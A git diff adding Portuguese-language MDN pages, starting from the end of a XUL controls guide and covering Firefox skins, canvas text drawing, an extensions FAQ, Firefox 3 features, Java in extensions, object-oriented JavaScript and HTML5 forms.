An editable menulist is like a standard menulist except that the selected value is displayed in a textbox where it may be modified directly or values not in the popup list may be entered.

+<menulist editable="true">
+  <menupopup>
+    <menuitem label="Elephants" value="Elephants"/>
+    <menuitem label="Kangaroos" value="Kangaroos"/>
+    <menuitem label="Bats" value="Bats"/>
+  </menupopup>
+</menulist>
+
Image:Controlguide-menulist-editable.png
<progressmeter>

A progress meter is used to display the progress of a lengthy task.

+<progressmeter value="40"/>
+
Image:Controlguide-progressmeter.png
<radio>

A radio button is used when only one of a set of options may be selected at a time.

+<radiogroup>
+  <radio label="Light" value="light"/>
+  <radio label="Heavy" value="heavy"/>
+</radiogroup>
+
Image:Controlguide-radio.png
<richlistbox>

The richlistbox displays a list of items where one or more may selected. Unlike the listbox which is designed to display only text, the richlistbox may display any type of content.

+<richlistbox>
+  <richlistitem>
+    <image src="happy.png"/>
+  </richlistitem>
+  <richlistitem>
+    <image src="sad.png"/>
+  </richlistitem>
+  <richlistitem>
+    <image src="angry.png"/>
+  </richlistitem>
+</richlistbox>
+
Image:Controlguide-richlistbox.png
<scale>

New in Mozilla 1.9 / Firefox 3

A scale displays a bar with a thumb that may be slid across the bar to select between a range of values.

+<scale min="1" max="10"/>
+
Image:Controlguide-scale.png
<textbox>

A textbox which allows a single line of text to be entered.

+<textbox value="firefox"/>
+
Image:Controlguide-textbox.png
<textbox multiline="true">

A textbox which allows multiple lines of text to be entered.

+<textbox multiline="true"/>
+
Image:Controlguide-textbox-multiline.png
<textbox type="autocomplete">

A textbox which provides a dropdown showing matches that would complete what the user types. The user can select one to have it filled into the textbox.

+<textbox type="autocomplete" autocompletesearch="history"/>
+
 
<textbox type="number">

New in Mozilla 1.9 / Firefox 3

A textbox for entering numbers. Two arrow buttons are displayed for cycling through values.

+<textbox type="number" min="1" max="20"/>
+
Image:Controlguide-textbox-number.png
<textbox type="password">

A textbox that hides the characters typed, used for entering passwords.

+<textbox type="password"/>
+
Image:Controlguide-textbox-password.png
<timepicker>

New in Mozilla 1.9 / Firefox 3

A timepicker displays a set of textboxes for entering a time.

+<timepicker value="12:05"/>
+
Image:Controlguide-timepicker.png
<toolbarbutton>

A button that is displayed on a toolbar.

+<toolbarbutton label="Reload"/>
+
Image:Controlguide-toolbarbutton.png
<toolbarbutton type="menu">

A button that is displayed on a toolbar with a drop down menu attached to it.

+<toolbarbutton type="menu" label="Show">
+  <menupopup>
+    <menuitem label="Toolbars"/>
+    <menuitem label="Status Bar"/>
+  </menupopup>
+</toolbarbutton>
+
 
<toolbarbutton type="menu-button">

A button on a toolbar that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.

+<toolbarbutton type="menu-button" label="Open">
+  <menupopup>
+    <menuitem label="Open Changed Files"/>
+    <menuitem label="Open All"/>
+  </menupopup>
+</toolbarbutton>
+
 
<tree>

A tree displays a hierarchy of items in multiple columns.

+<tree>
+  <treecols>
+    <treecol label="Name" flex="1"/>
+    <treecol label="Size" flex="1"/>
+  </treecols>
+  <treechildren>
+    <treeitem>
+      <treerow>
+        <treecell label="Popcorn"/>
+        <treecell label="Large"/>
+      </treerow>
+    </treeitem>
+    <treeitem>
+      <treerow>
+        <treecell label="Root Beer"/>
+        <treecell label="Small"/>
+      </treerow>
+    </treeitem>
+  </treechildren>
+</tree>
+
Image:Controlguide-tree.png
+

Categorias

+

Interwiki Language Links

+

{{ languages( { "en": "en/XUL_controls" } ) }}

diff --git a/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html b/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html new file mode 100644 index 0000000000..763cd620c4 --- /dev/null +++ b/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html @@ -0,0 +1,34 @@ +--- +title: Criando um visual para o Firefox +slug: Criando_um_visual_para_o_Firefox +tags: + - Temas + - Todas_as_Categorias +--- +

 

+ +

Introdução

+ +

Para poder criar um visual para o Firefox, são três coisas que você precisa saber fazer: como editar imagens, como extrair arquivos zip e como modificar CSS. O Firefox utiliza imagens nos formatos GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante na interface.

+ +

O que é um visual?

+ +

Um visual não altera totalmente a interface; em parte, somente define seu aspecto. Você não pode alterar o que acontece quando o usuário clica com o botão direito sobre uma imagem, mas pode alterar a aparência do menu de contexto (Torná-lo azul com pontos cor-de-rosa, por exemplo). Se quer alterar a funcionalidade do Firefox, você terá que ver sobre como modificar o chrome, que está além do contido deste documento. --Milona87 19:12, 18 Fevereiro 2008 (PST)Texto a negrito--Milona87 19:12, 18 Fevereiro 2008 (PST)

+ +

Conteúdos

+ + + +
+
+

Informação sobre o Documento Original

+ + +
+ +

 

diff --git a/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html b/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html new file mode 100644 index 0000000000..b0d04c3424 --- /dev/null +++ b/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html @@ -0,0 +1,14 @@ +--- +title: Criar uma pele para o Firefox +slug: Criar_uma_pele_para_o_Firefox +tags: + - Temas + - Todas_as_Categorias +--- +

+

+

Introdução

+

Para criar um tema para o Firefox, você precisa saber fazer três coisas: editar imagens, extrair arquivos zip e modificar CSS. O Firefox utiliza imagens em formato GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante da interface. +

O que é um Tema? +

Um tema não altera totalmente a interface, apenas redefine sua aparência. Você não pode alterar o que acontece quando o usuário clica com o botão direito do mouse sobre uma imagem, mas pode alterar a aparência do menu de contexto (torná-lo azul com pontos cor-de-rosa, por exemplo). Se quiser mudar a funcionalidade do Firefox, você deve estudar como modificar o chrome, que está além do escopo deste documento. +

{{ languages( { "en": "en/Creating_a_Skin_for_Firefox" } ) }} diff --git a/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html b/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html new file mode 100644 index 0000000000..314ff20178 --- /dev/null +++ b/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html @@ -0,0 +1,57 @@ +--- +title: Desenhando texto usando canvas +slug: Desenhando_texto_usando_canvas +tags: + - 'HTML:Canvas' + - PrecisaDeConteúdo +--- +

{{ Gecko_minversion_header("1.9") }} O elemento <canvas> dá suporte a desenho de texto através da API experimental Mozilla-specific.

+

API

+
attribute DOMString mozTextStyle;
+void mozDrawText(in DOMString textToDraw);
+float mozMeasureText(in DOMString textToMeasure);
+void mozPathText(in DOMString textToPath);
+void mozTextAlongPath(in DOMString textToDraw, in boolean stroke);
+
+

Notas

+ +

Demonstrações

+

Veja alguns exemplos here, here, and here.

+

Alterando a fonte corrente

+

The mozTextStyle attribute reflects the current text style. It uses the same syntax as the CSS font specifier.

+

Ex:

+
ctx.mozTextStyle = "20pt Arial"
+
+

Desenhando o texto

+

Drawing is very simple. mozDrawText uses whatever the current text style is. The context's fill color is used as the text color.

+
ctx.translate(10, 50);
+ctx.fillStyle = "Red";
+ctx.mozDrawText("Sample String");
+
+

Medindo o texto

+

As vezes é de grande valia saber a largura de um bit de texto em particular (para centralizá-lo em uma janela).

+
var text = "Sample String";
+var width = ctx.canvas.width;
+var len = ctx.mozMeasureText(text);
+ctx.translate(len/2, 0);
+ctx.mozDrawText(text);
+
+

Text/path interaction

+

If you want to stroke text, mozDrawText doesn't let you. However, mozPathText adds the strokes from the text to the current path.

+
ctx.fillStyle = "green";
+ctx.strokeStyle = "black";
+ctx.mozPathText("Sample String");
+ctx.fill()
+ctx.stroke()
+
+

Now say you have a path that you want to add text along (say a curved line or something); this is where mozTextAlongPath comes in. Unlike the other text functions, mozTextAlongPath takes two arguments: the text and what to do with it. mozTextAlongPath approximates the current path as a series of line segments and places each glyph along that flattened path. The glyphs are not scaled or transformed according to the curvature of their baseline; they take on the orientation of the flattened path at the midpoint of the glyph.

+

Once mozTextAlongPath knows where the glyphs are, it looks at the second parameter to decide what to do with them. If the second parameter is false, then it will draw the glyphs just like mozDrawText does. If it is true, then it will add the glyphs to the current path, just like mozPathText does. This can be used to create some unique effects.

+

Categorias

+

Interwiki Language Links

+

{{ languages( { "en": "en/Drawing_text_using_a_canvas", "es": "es/Dibujar_texto_usando_canvas", "fr": "fr/Dessin_de_texte_avec_canvas", "ja": "ja/Drawing_text_using_a_canvas" } ) }}

diff --git "a/files/pt-pt/orphaned/faq_extens\303\265es/index.html" "b/files/pt-pt/orphaned/faq_extens\303\265es/index.html" new file mode 100644 index 0000000000..df98304739 --- /dev/null +++ "b/files/pt-pt/orphaned/faq_extens\303\265es/index.html" @@ -0,0 +1,51 @@ +--- +title: FAQ Extensões +slug: FAQ_Extensões +tags: + - Extensões +--- +

Esse é um guia rápido de respostas para as perguntas mais frequentes sobre o desenvolvimento de Extensões.

+

Elas são escritas focadas mais no Firefox, mas a maioria é fácil de ser transferida para o SeaMonkey, Thunderbird ou qualquer desses outros aplicativos.

+

Se você está procurando um lugar para começar, tente nosso tutorial, Construir uma Extensão ou

+

MozillaZine's Getting started tutorial. Use o Extension Wizard para gerar um template para começar nele.

+

Tenha certeza de Setting up extension development environment.

+

Depurando

+

Você deve set development preferences antes de partir para depurar sua extensão.

+

O depurador em JavaScript Venkman pode ser viável em casos complexos, mas lembre-se de desligar a opção "Debug -> Exclude Browser Files" enquanto está trabalhando no código da extensão.

+

Como eu posso ver os erros no meu código?

+

Depois de set development preferences javascript.options.showInConsole para true, os erros serão mostrados no Console JavaScript. Note que apesar de seu nome todos os erros são mostrados lá.

+

Como eu posso mostrar o que minha extensão está fazendo?

+

Você pode usar o alert(), dump(), Components.utils.reportError(), ou até the console service para mostrar dados variáveis e o texto da depuração.

+

Por que meu código não roda corretamente?

+

Se o seu código não trabalha como o esperado, a primeira coisa que você deve fazer é checar o console JavaScript (veja sobre).

+

Um erro comum é tentar acessar a DOM (Document Object Model - Modelo de objeto do documento) de uma janela antes que ela esteja totalmente carregada. Isso acontece se você coloca o código de inicialização no topo do seu código -script- (i.e. fora de qualquer função). O conserto é usar um load para listar eventos para travar seu código até que a janela termine de carregar:

+
function exampleBrowserStartup(event)
+{
+  // coloque o código de inicialização aqui
+}
+window.addEventListener("load", exampleBrowserStartup, false);
+
+

Acessando um documento de uma página que não funciona

+

Para acessar um documento de uma página web atual através do browser.xul overlay, você deve usar o content.document, ao invés de apenas document que é o próprio documento da janela do navegador. Veja en:Working with windows in chrome code para mais detalhes. Você pode também, por padrão en:XPCNativeWrapper que previne você de acessar através do acesso de um "script-defined objects" na página web e fazer outras tarefas.

+

Aparece um erro de análise XML, mas o arquivo parece correto!

+

Uma fonte comum de erros de análise (como <font color="red">texto vermelho</font> com uma <font color="red">-------------^</font> abaixo) é um caracter & ou um < em seu código ou um valor de atributo, que tem uma função especial em XML. Por exemplo:

+
<button oncommand="window.open('http://example.com/q?param1=value&param2=val2')"/>
+
+

ou

+
<script>function lesser(a,b) { return a < b ? a : b; }</script>
+
+

O problema pode ser resolvido por uma das seguintes formas:

+
  1. substitua o caracter que não é representação de conflito XML (Exemplo: "&" -> "&amp;"<" -> "&lt;")
  2. (em caso de ser um nó de texto, como um código) coloque tags de CDATA ao redor:
    <script><![CDATA[
    +   function lesser(a,b) {
    +     return a < b ? a : b;
    +   }
    + ]]></script>
  3. Coloque seu código em um arquivo separado e inclua o nome dele:
    <script type="application/x-javascript" src="seucodigo.js"/>
  4. +
+

Código de Exemplo

+

A forma mais fácil para encontrar o código que você precisa para usar em algo útil é procurar uma extensão (ou parte do Mozilla mesmo) Isso faz o código e mostra como um código. (Os arquivos XPI e JAR usam o formato ZIP). Encontram-se algumas documentações em: lista de artigos relacionados com extensões no MDC, en:Code snippets, e Example code page on MozillaZine.

+

Onde posso encontrar mais ajuda?

+

Por favor veja en:Extensions:Other Resources e Extensões:Comunidade.

+

Antes de pedir ajuda, tenha certeza de configurar as preferências de depuração e cheque o console JavaScript para mensagens relacionadas. Também, não esqueça de fazer uma pequena busca antes de perguntar. E leia este FAQ!

+

Categorias

+

Interwiki Language Link

+

{{ languages( { "en": "en/Extension_Frequently_Asked_Questions", "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ja": "ja/Extension_Frequently_Asked_Questions" } ) }}

diff --git a/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html b/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html new file mode 100644 index 0000000000..0775f2c802 --- /dev/null +++ b/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html @@ -0,0 +1,81 @@ +--- +title: Firefox 3 para desenvolvedores +slug: Firefox_3_para_desenvolvedores +--- +

Vou incluir documentos abaixo na lista: -- Quer estar adiante da curva e certificar-se que suas extensões, web sites ou aplicações estão prontas para a próxima geração do Firefox? Verifique em nosso conteúdo especialmente organizado para suas necessidades: * Atualizando extensões para o Firefox 3 * Atualizando aplicações web para o Firefox 3

+

Novas características para desenvolvedores no Firefox 3

+

O Firefox 3 será liberado em breve, e já existe um número interessante de mudanças implementadas. Abaixo está uma lista de algumas das características.

+

Para desenvolvedores de aplicações e web sites

+

Veja também Mudanças no Gecko 1.9 que afetam websites.

+

Web Applications 1.0

+

Mark Finkle (mfinkle em #devmo) dirige o trabalho de documentação nas Web Applications 1.0

+ +
Aplicações Web 1.0 (HTML5, XHTML5) é ainda um esboço sendo trabalhado, não final.
+

Recursos offline

+

A implementação está em progresso - veja {{ Bug(367447) }} e dependências. Spec em progresso está em http://www.campd.org/stuff/Offline Cache.html.

+

CSS

+

Eric Shepherd (sheppy em #devmo) dirige a documentação CSS para o Firefox 3.

+ +

DOM

+ +

JavaScript

+ +

XSLT/XPath

+ +

SVG

+ +

Para desenvolvedores de extensões e XUL

+

Novos elementos XUL

+

Mark Finkle (mfinkle in #devmo) dirige a documentação de novos elementos XUL.

+

O XUL no Firefox 3 suporta um número de novos elementos:

+ +

Melhorias da árvore

+ +

Melhorias do menu

+

Sérias melhorias nos elementos <menu> e <menulist> foram feitas ({{ Bug(333023) }}):

+ +

Melhorias da caixa de texto

+ +

Melhorias para outros elementos

+ +

Mudanças na disposição

+

A documentação de modelos está sendo dirigida por Mark Finkle (mfinkle em #devmo).

+

Os modelos tiveram significativas melhoras no Firefox 3. A melhora da chave permite o uso de processadores customizados inquirir para manipular outros tipos de códigos de dados adicionalmente ao RDF. Uma nova sintaxe de inquisição torna isto possível. Uma descrição completa das novas características disponíveis para modelos {{ interwiki('wikimo', 'XUL:Template_Features_in_1.9', 'está disponível') }}. ({{ Bug(285631) }})

+

Outras melhoras nos modelos:

+ +

Serviço inativo

+

Um novo serviço foi adicionado para determinar quanto tempo o usuário está inativo (que é, desde a última vez que ele pressionou uma tecla ou moveu seu mouse). Este serviço implementa a interface nsIIdleService.

+

Erros notáveis reparados

+ +

Places

+ +

Gerenciador de download

+ +

Gerenciador de senha

+ +

Coletor do ciclo de XPCOM

+ +

Veja também

+ +

*Updating extensions for Firefox 3

+ +

{{ languages( { "en": "en/Firefox_3_for_developers", "fr": "fr/Firefox_3_pour_les_d\u00e9veloppeurs", "ja": "ja/Firefox_3_for_developers", "pl": "pl/Firefox_3_dla_programist\u00f3w", "ko": "ko/Firefox_3_for_developers" } ) }}

diff --git "a/files/pt-pt/orphaned/java_em_extens\303\265es_do_firefox/index.html" "b/files/pt-pt/orphaned/java_em_extens\303\265es_do_firefox/index.html" new file mode 100644 index 0000000000..c6d49cd20f --- /dev/null +++ "b/files/pt-pt/orphaned/java_em_extens\303\265es_do_firefox/index.html" @@ -0,0 +1,26 @@ +--- +title: Java em Extensões do Firefox +slug: Java_em_Extensões_do_Firefox +tags: + - Extensões + - Java + - Todas_as_Categorias +--- +

Se houver a necessidade de chamar código de Java dentro duma extensão do Firefox, o LiveConnect poderá ser útil. O LiveConnect dá ao código JavaScript da sua extensão (ligado ou contido no seu código XUL) acesso a dois objectos: java e Packages. Estes dois objectos tornam possível o uso das classes padrão do JDK. Por exemplo:

+ +
var aJavaList = new java.util.LinkedList();
+
+ +

Se quiser carregar os seus próprios JARs, então pode criar a sua classe carregadora Java. Por exemplo:

+ +
var cl = new java.net.URLClassLoader(
+    [ new java.net.URL('http://foo.net/bar.jar') ]
+);
+
+var aClass = java.lang.Class.forName("org.mozilla.developer.HelloWorld", true, cl);
+var aStaticMethod = aClass.getMethod("getGreeting", []);
+var greeting = aStaticMethod.invoke(null, []);
+alert(greeting);
+
+ +

Esta técnica funciona apenas em código JavaScript ligado dentro de ou contido em ficheiros XUL. Se quiser chamar código Java de dentro de código JavaScript que implementa componentes XPCOM, neste momento só o poderá fazer recorrendo a outra outra técnica (ver Java Firefox Extension). Uma boa razão para chamar Java de dentro de um componente XPCOM em vez de XUL é para manter um singleton (tipo de objecto que força a existência de apenas um objecto duma classe )através todas as janelas do Firefox. Se chamar Java pelo XUL então cada janela do Firefox possuirá a sua própria classe e, por consequência, o seu singleton.

diff --git a/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html b/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html new file mode 100644 index 0000000000..73ea9e4bc7 --- /dev/null +++ b/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html @@ -0,0 +1,228 @@ +--- +title: Javascript orientado a objetos +slug: Javascript_orientado_a_objetos +tags: + - JavaScript + - OOP + - Todas_as_Categorias +--- +

Para um melhor entendimento deste artigo, é necessário algum conhecimento sobre programação orientada a objetos, existem vários artigos na web e bons livros dedicados ao assunto. Tomemos como exemplo de objeto, um ventilador. Ao olharmos para este objeto, podemos identificá-lo dentre outros eletrodomésticos pelas suas características. Outros ventiladores podem apresentar características idênticas, porém são objetos distintos. Um ventilador pode estar desligado ou ligado em algumas velocidades. Detalhes de sua estrutura ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso do mesmo.

+ +

Javascript difere-se de linguagens clássicas orientadas a objeto como Java e C++ principalmente por não possuir uma definição formal de classe. Entretanto possui seu próprio tipo de herança baseada em protótipo e faz uso constante de objetos baseando-se nesse tipo de herança.

+ +

Função construtora e propriedades / Classe e atributos

+ +

Na programação orientada a objetos, é comum utilizar tipos de objetos (classes) personalizados. Essas classes1 são úteis em diversos casos, por exemplo, se seu programa manipula várias formas geométricas, poderiam haver várias classes de objetos como quadrados, retângulos e círculos. Utilizando nosso exemplo, vamos criar a função construtora Ventilador, contendo as propriedades2 velocidadeMaxima e ligado. Observe que a propriedade velocidadeMaxima recebe o valor do argumento velMax.

+ +
function Ventilador(velMax) {
+    this.velocidadeMaxima = velMax;
+    this.ligado = false;
+}
+
+ +

A palavra-chave this é responsável por iniciar o objeto adequadamente.

+ +

Instâncias

+ +

A criação de um objeto, ou seja, a instanciação de uma classe é realizada com uso do operador new. Após este operador vem o nome da função construtora, responsável pela inicialização do objeto.

+ +

Alguns exemplos de instanciação:

+ +
var obj = new Object();
+var data = new Date();
+
+ +

Seguindo mais uma vez o exemplo do ventilador:

+ +
var ventilador1 = new Ventilador(3);
+
+ +

Acessando propriedades

+ +

Para acessar as propriedades de um objeto você deve utilizar o operador “.” que deve ser precedido de uma referência ao objeto e sucedido pelo nome de uma de suas propriedades.

+ +
console.log(ventilador1.velocidadeMaxima); // Retorna 3
+
+ +

Diferente das linguagens clássicas orientadas a objeto, Javascript permite que propriedades sejam adicionadas a qualquer momento durante a execução do código. Por exemplo, vamos adicionar a propriedade cor a nosso ventilador:

+ +
ventilador1.cor = "branco";
+console.log(ventilador1.cor); // Retorna branco
+
+ +

Métodos

+ +

Métodos em Javascript são funções invocadas por objetos. Para criar um novo método, basta atribuir uma função a um nome no objeto utilizando também o operador “.” como ocorre com as propriedades. O exemplo abaixo demonstra como definir o método ligar para a classe Ventilador utilizando a função liga através da propriedade prototype.

+ +
function liga() {
+    this.ligado = true;
+}
+Ventilador.prototype.ligar = liga;
+
+ +

Caso queira adicionar um método a um objeto em particular, pode fazê-lo da seguinte maneira:

+ +
ventilador2 = new Ventilador(2);
+ventilador2.ligar = liga;
+
+ +

Outro uso possível é definir o método na estrutura da classe:

+ +
function liga() {
+    this.ligado = true;
+}
+function Ventilador(velMax) {
+    this.velocidadeMaxima = velMax;
+    this.ligado = false;
+    this.ligar = liga;
+}
+
+ +

A palavra chave this é substituída pelo objeto que invoca a função, essa é uma das principais vantagens da utilização de métodos. Exemplo de uso:

+ +
var ventilador = new Ventilador(3);
+console.log(ventilador.ligado); // Retorna false
+ventilador.ligar();
+console.log(ventilador.ligado); // Retorna true
+
+ +

Literais de objeto

+ +

Os literais de objeto3 possibilitam criar e iniciar objetos de uma maneira diferente. A sintaxe é definida por uma lista de pares nome/valor separados por vírgulas entre um par de chaves. Cada par nome/valor é definido pelo nome da propriedade seguido de dois pontos e do valor correspondente.

+ +
var Livro = {
+    titulo : "Os Três Mosqueteiros",
+    autor : "Alexandre Dumas",
+    capitulo1 : {
+        titulo : "Os três presentes do sr. D'Artagnan pai",
+        paginas : 11
+    },
+    capitulo2 : {
+        titulo : "A antecâmara do sr. Tréville",
+        paginas : 8
+    }
+}
+
+// Acessando as propriedades:
+console.log(Livro.titulo + " - " + Livro.autor + "\\n\\t" +
+      Livro.capitulo1.titulo + " - " +
+      Livro.capitulo1.paginas + " páginas\\n\\t" +
+      Livro.capitulo2.titulo + " - " +
+      Livro.capitulo2.paginas + " páginas");
+
+ +

Composição

+ +

A composição é um recurso utilizado para definir uma relação do tipo “tem um” (“has a” relationship), ou seja, um objeto que conta com outros objetos para formar sua estrutura. Por exemplo, um objeto do tipo Carro teria em sua estrutura objetos do tipo Roda, Volante, Banco. O exemplo anterior que descreve um livro, também demonstra o uso deste recurso.

+ +
function Livro(titulo, autor) {
+    this.titulo = titulo;
+    this.autor = autor;
+}
+
+function Capitulo(titulo, paginas) {
+    this.titulo = titulo;
+    this.paginas = paginas;
+}
+
+var livro = new Livro("Os Três Mosqueteiros", "Alexandre Dumas");
+var capitulo1 = new Capitulo("Os três presentes do sr. D'Artagnan pai", 11);
+var capitulo2 = new Capitulo("A antecâmara do sr. Tréville", 8);
+
+// Os objetos do tipo Capitulo fazem parte da composição do objeto livro
+livro.capitulo1 = capitulo1;
+livro.capitulo2 = capitulo2;
+
+// Acessando as propriedades:
+console.log(livro.titulo + " - " + livro.autor + "\\n\\t" +
+      livro.capitulo1.titulo + " - " +
+      livro.capitulo1.paginas + " páginas\\n\\t" +
+      livro.capitulo2.titulo + " - " +
+      livro.capitulo2.paginas + " páginas");
+
+ +

Encapsulamento

+ +

Como exposto no início do artigo, em nosso exemplo que representa um ventilador, detalhes da estrutura de alguns objetos ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso dos mesmos. O encapsulamento tem por objetivo esconder essa informação que não precisa ser de conhecimento do utilizador da classe. Seu uso é uma boa prática quanto à manutenção da classe, pois podemos modificar a parte que é oculta ao utilizador sem alterar sua forma de implementação. Em Javascript podemos usar encapsulamento em propriedades de uma classe utilizando a palavra-chave var ao invés da palavra-chave this e do operador “.”.

+ +
function Ventilador(velMax) {
+    var maximaPermitida = 5; // Uso de encapsulamento
+    var velocidadePadrao = 3; // Variáveis privadas
+    // Avalia se a velocidade máxima fornecida é maior que zero e menor que 5, o limite atual.
+    if (velMax > 0 && velMax <= maximaPermitida) {
+        // Caso seja, atribui o valor fornecido à propriedade velocidadeMaxima
+        this.velocidadeMaxima = velMax;
+    } else {
+        // Caso contrário, atribui o valor da variável velocidadePadrao à propriedade velocidadeMaxima
+        this.velocidadeMaxima = velocidadePadrao;
+    }
+    this.ligado = false;
+    this.ligar = function() { // O método ligar agora é definido
+        this.ligado = true; // por um literal de função, o que
+    } // melhora a legibilidade do código.
+}
+ventilador = new Ventilador(0); // Cria a instância fornecendo o valor 0 para o argumento velMax;
+console.log(ventilador.velocidadeMaxima); // Retorna 3 – o padrão
+console.log(ventilador.maximaPermitida); // Retorna undefined
+
+ +

Herança

+ +

Em Javascript a herança ocorre por meio de objetos protótipos4 e define uma relação do tipo “é um” (“is a” relationship). Cada objeto herda propriedades e métodos de seu objeto protótipo que é referenciado pela propriedade prototype. A classe Object é a superclasse de todas as classes definidas em Javascript, ou seja, todos os construtores criados herdam propriedades e métodos definidos no construtor Object() como por exemplo o método toString(), que assim como outros pode ser sobrescrito na subclasse. Em alguns casos, é conveniente utilizar este recurso em classes personalizadas, para isso basta definir um construtor como valor para a propriedade prototype da classe em questão. Como exemplo simplório, vamos definir a classe Eletrodomestico com a propriedade ligado e os métodos ligar e desligar comuns a todos os eletrodomésticos e então definir a classe Ventilador com propriedades e métodos peculiares.

+ +
function Eletrodomestico() {
+    this.ligado = false;
+    this.ligar = function() {
+        this.ligado = true;
+    }
+    this.desligar = function() {
+        this.ligado = false;
+    }
+}
+
+function Ventilador(velMax) {
+    var maximaPermitida = 5; // Uso de encapsulamento
+    var velocidadePadrao = 3; // Variáveis privadas
+    if (velMax > 0 && velMax <= maximaPermitida) {
+        this.velocidadeMaxima = velMax;
+    } else {
+        this.velocidadeMaxima = velocidadePadrao;
+    }
+}
+
+Ventilador.prototype = new Eletrodomestico(); // Define o objeto protótipo
+ventilador = new Ventilador(4);
+console.log(ventilador.ligado); // Retorna false
+ventilador.ligar();
+console.log(ventilador.ligado); // Retorna true
+
+ +

A utilização do objeto protótipo faz com que a propriedade constructor também seja herdada da superclasse, o que definiria a classe Eletrodomestico como valor da propriedade no objeto ventilador. Uma alternativa é definir de forma explícita a propriedade constructor:

+ +
Ventilador.prototype.constructor = Ventilador;
+
+ +

Conclusão

+ +

Este artigo é apenas um incentivo à adoção dos conceitos da orientação a objetos em Javascript. Com o entendimento dos conceitos, os desenvolvedores podem corroborar as vantagens em códigos mais complexos, organizando o desenvolvimento e facilitando a manutenção dos scripts.

+ +

Notas

+ +

1. Termo usado informalmente no artigo.
+ 2. Nas linguagens clássicas orientadas a objeto, geralmente usa-se o termo atributo ou campo.
+ 3. Conhecidos também como inicializadores de objetos ou objetos literais, implementados a partir de Javascript 1.2.
+ 4. Implementados a partir de Javascript 1.1.

+ +
+

Informações Sobre o Documento Original

+ + +
+ +

Categorias

+ +

Interwiki Language Links

diff --git a/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html b/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html new file mode 100644 index 0000000000..93a5bfb4f8 --- /dev/null +++ b/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html @@ -0,0 +1,72 @@ +--- +title: Forms no HTML5 +slug: Web/HTML/HTML5/Forms_no_HTML5 +translation_of: Learn/HTML/Forms/HTML5_updates +--- +

{{ gecko_minversion_header("2") }}

+

Elementos e atributos de formulários no HTML5 fornecem um grau maior de marcação semântica do que o HTML4  e removem em grande parte a necessidade tediosa de estilos e scripts requerida no HTML4. Os recursos de formulários no HTML5 fornecem uma melhor experiência para os usuários, tornando os formulários mais consistentes através de diferentes web sites e dando retorno imediato ao usuário sobre a entrada de dados. Eles também fornecem esta experiência aos usuários que deixam os scripts desativados no navegador.

+

Este tópico descreve itens novos ou alterados que são suportados pelo Gecko/Firefox.

+

O elemento <input>

+

O elemento {{ HTMLElement("input") }} tem novos valores para o atributo {{ htmlattrxref("type", "input") }}.

+ +

O elemento {{ HTMLElement("input") }} também tem novos atributos:

+ +

O elemento <form>

+

O elemento {{ HTMLElement("form") }} tem um novo atributo:

+ +

O elemento <datalist>

+

O elemento {{ HTMLElement("datalist") }} representa a lista de elementos {{ HTMLElement("option") }} para sugerir quando preencher um campo {{ HTMLElement("input") }}.

+

Você pode usar o atributo {{ htmlattrxref("list", "input") }} em um elemento {{ HTMLElement("input") }} para ligar um campo de entrada com um elemento {{ HTMLElement("datalist") }} específico.

+

O elemento <output>

+

O elemento {{ HTMLElement("output") }} representa o resultado de um cálculo.

+

Você pode usar o atributo {{ htmlattrxref("for", "output") }} para especificar uma relação entre o elemento de saída e outros elementos no documento, afetados pelo resultado (por exemplo, como entradas ou parâmetros). O valor do atributo {{ htmlattrxref("for", "output") }} é uma lista de ID de outros elementos separada por espaços.

+

O atributo de espaço reservado

+

O atributo {{ htmlattrxref("placeholder", "input") }} nos elementos {{ HTMLElement("input") }} e {{ HTMLElement("textarea") }} fornece uma dica ao usuário do que deve ser digitado no campo. O espaço reservado de texto não deve conter novas linhas ou alimentação de linhas.

+

O atributo de autofoco

+

O atributo autofocus permite especificar que um controle de formulário deve ter foco nas entradas quando a página carrega, a menos que o usuário sobreponha-se a isto, por exemplo digitando em um controle diferente. Somente um item do formulário pode ter o atributo autofocus, que é um Booleano. Este atributo pode ser aplicado aos elementos {{ HTMLElement("input") }}, {{ HTMLElement("button") }}, {{ HTMLElement("select") }}, e {{ HTMLElement("textarea") }}. A exceção é que o autofocus não pode ser aplicado em um elemento <input> se o atributo {{ htmlattrxref("type", "input") }} é configurado como hidden (isto é, você não pode configurar automaticamente o foco em um controle escondido).

+

A propriedade label.control do DOM

+

A interface DOM HTMLLabelElement fornece uma propriedade extra, adicionalmente às propriedades que correspondem aos atributos do elemento {{ HTMLElement("label") }} do HTML. A propriedade control retorna um controle rotulado, isto é, o controle para este rótulo, o qual é determinado pelo atributo {{ htmlattrxref("for", "label") }} (se estiver definido) ou pelo primeiro elemento de controle descendente.

+

Validação de restrições

+

O HTML5 fornece itens de API e sintaxe para suportar a validação de formulários do lado do cliente. Enquanto esta funcionalidade não substitui a validação do lado do servidor, a qual ainda é necessária para a segurança e integridade dos dados, a validação do lado do cliente pode suportar uma melhor experiência ao usuário, dando ao usuário um retorno imediato sobre os dados digitados.

+

Sintaxe HTML para validação de restrições

+

Os seguintes itens da sintaxe do HTML5 podem ser usados para especificar restrições em dados de formulários.

+ +

